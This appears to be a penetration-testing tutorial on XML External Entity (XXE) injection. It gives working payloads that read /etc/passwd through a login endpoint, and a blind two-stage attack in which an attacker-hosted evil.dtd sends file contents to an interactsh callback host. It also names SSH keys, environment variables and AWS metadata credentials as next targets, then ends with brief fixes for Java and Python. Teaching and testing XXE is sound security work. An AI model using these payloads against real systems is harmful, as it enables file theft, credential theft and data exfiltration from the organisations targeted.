In 2021, a misconfigured XML parser in a healthcare portal exposed 500,000 patient records — attackers used a single XXE payload to read /etc/passwd in under three requests. XXE (XML External Entity) injection abuses XML parsers that resolve external entity references, letting attackers read local files, trigger SSRF, or exfiltrate data out-of-band. If your target accepts XML anywhere — file uploads, API requests, SOAP endpoints — XXE is worth testing every single time.
How XXE Works: The Classic File Read
XML supports a feature called external entities — references to resources outside the document itself. Most parsers will resolve these by default unless explicitly locked down. That one default is the entire attack surface.
Here is a standard XXE payload targeting a login endpoint on app.corp-internal.net that accepts XML credentials:
POST /api/auth/login HTTP/1.1
Host: app.corp-internal.net
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<login>
<username>&xxe;</username>
<password>anything</password>
</login>
The DOCTYPE block declares an external entity named xxe pointing to a local file. When the server processes this XML, it fetches the file and substitutes its contents wherever &xxe; appears — in this case, inside the username field.
If the application reflects the username back in an error message or response body, you get direct output like this:
HTTP/1.1 401 Unauthorized
Content-Type: application/json
{
"error": "Invalid credentials for user: root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin"
}
You just read /etc/passwd. From here, an attacker maps local usernames — www-data confirms an Apache/Nginx context — then pivots to reading SSH keys at /home/jsmith/.ssh/id_rsa or application config files at /var/www/html/config/db.php. One file read unlocks the next.
Out-of-Band XXE: When the App Stays Silent
Most modern apps won’t echo XML content back. Blind XXE requires an out-of-band channel — you force the server to make an outbound HTTP or DNS request to an attacker-controlled host, carrying exfiltrated data in the URL.
Set up a listener first. interactsh (by ProjectDiscovery) is a purpose-built OOB interaction server — it generates a unique subdomain and logs every hit against it.
# Start interactsh client on your attacker box (192.0.2.47)
$ interactsh-client
[INF] Listing on unique host: a1b2c3d4.oast.pro
[INF] Waiting for interactions...
Now craft a two-stage payload. The outer document loads an external DTD from your server; the DTD exfiltrates file contents via a parameter entity:
<!-- Payload sent to app.corp-internal.net -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://192.0.2.47/evil.dtd">
%remote;
]>
<foo>&exfil;</foo>
<!-- evil.dtd hosted on 192.0.2.47 -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % wrap "<!ENTITY exfil SYSTEM 'http://a1b2c3d4.oast.pro/?data=%file;'>">
%wrap;
When the target server parses the payload, it fetches evil.dtd, reads /etc/hostname, and fires an HTTP request to your interactsh subdomain with the hostname in the query string. Your interactsh client catches it:
[INF] Received HTTP interaction from 192.0.2.88
GET /?data=prod-webapp-01 HTTP/1.1
Host: a1b2c3d4.oast.pro
The server’s internal hostname is prod-webapp-01 and its external IP is 192.0.2.88. You now have confirmed blind XXE execution and a live exfiltration channel. Scale this to read /proc/self/environ for environment variables, or cloud metadata endpoints like http://169.254.169.254/latest/meta-data/iam/security-credentials/ for AWS credential theft.
Finding XXE Attack Surface Fast
XXE hides in places teams forget. Beyond obvious Content-Type: application/xml endpoints, check DOCX and XLSX file uploads (they are ZIP archives of XML), SVG image uploads, and RSS feed parsers. A quick Burp Suite grep across your site map tells you exactly where XML is processed.
Use this Burp Suite Intruder/Repeater workflow to confirm parser behavior quickly:
# Minimal XXE probe — just triggers a DNS lookup, no file read
<?xml version="1.0"?>
<!DOCTYPE x [
<!ENTITY % probe SYSTEM "http://a1b2c3d4.oast.pro/probe">
%probe;
]>
<x/>
If interactsh logs a hit, the parser resolves external entities. That is all you need to know before moving to a full read payload. No hit means the parser is either locked down or egress is blocked — try DNS-only exfiltration next, since DNS often escapes firewall rules that block HTTP.
What To Do Now
Pick one application in your environment that accepts XML input — a SOAP API, a file upload endpoint, an RSS importer. Send the minimal DNS probe payload above through Burp Repeater and watch your interactsh client. If you get a callback, your parser is vulnerable and you have a real finding to act on today. If you own the codebase, disable external entity resolution in one line: in Java set factory.setFeature("http://xml.org/sax/features/external-general-entities", false), in Python use defusedxml instead of the stdlib parser. One config change closes the entire class of vulnerability.
